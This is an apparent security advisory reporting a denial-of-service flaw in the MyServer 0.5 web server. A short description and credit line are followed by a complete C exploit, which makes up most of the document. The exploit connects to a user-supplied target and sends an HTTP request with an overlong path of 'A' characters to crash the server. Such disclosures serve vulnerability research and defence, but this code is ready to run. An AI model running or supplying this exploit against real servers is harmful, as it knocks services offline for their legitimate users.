|
Brought to you by:
Suppliers of:
|
|
|
| |
| MyServer is "a free and easy to configure web server" available for both the Windows and UNIX platforms. A denial of service vulnerability has been found in the product allowing remote attackers to cause the server to no longer respond to legitimate users. |
| |
Credit:
The information has been provided by badpack3t.
|
| |
Exploit:
/* MyServer 0.5 DoS
vendor:
http://myserverweb.sourceforge.net
coded and discovered by:
badpack3t <badpack3t@security-protocols.com>
for .:sp research labs:.
www.security-protocols.com
11.12.2003
usage:
sp-myserv <targetip> [targetport] (default is 80)
*/
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
char exploit2[65536];
int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize, count;
SOCKET mysocket;
strcpy(exploit2, "GET /");
for (count = 0; count < 455; count ++) // L: 275 H:455
{
strcat(exploit2, "A");
}
strcat(exploit2, ".html HTTP/1.0\r\n\r\n");
if (argc < 2)
{
printf("MyServer 0.5 DoS by badpack3t\r\n <badpack3t@security-protocols.com>\r\n\r\n", argv[0]);
printf("Usage:\r\n %s <targetip> [targetport] (default is 80)\r\n\r\n", argv[0]);
printf("www.security-protocols.com\r\n\r\n", argv[0]);
exit(1);
}
wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;
target = argv[1];
port = 80;
if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);
mysocket = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket==INVALID_SOCKET)
{
printf("Socket error!\r\n");
exit(1);
}
printf("Resolving Hostnames...\n");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("Resolve of %s failed\n", argv[1]);
exit(1);
}
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);
printf("Connecting...\n");
if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("Couldn't connect to host.\n");
exit(1);
}
printf("Connected!...\n");
printf("Sending Payload...\n");
if (send(mysocket, exploit2, strlen(exploit2), 0) == -1)
{
printf("Error Sending the Exploit Payload\r\n");
closesocket(mysocket);
exit(1);
}
printf("Remote Webserver has been DoS'ed \r\n");
closesocket(mysocket);
WSACleanup();
return 0;
}
|
|
|
|
|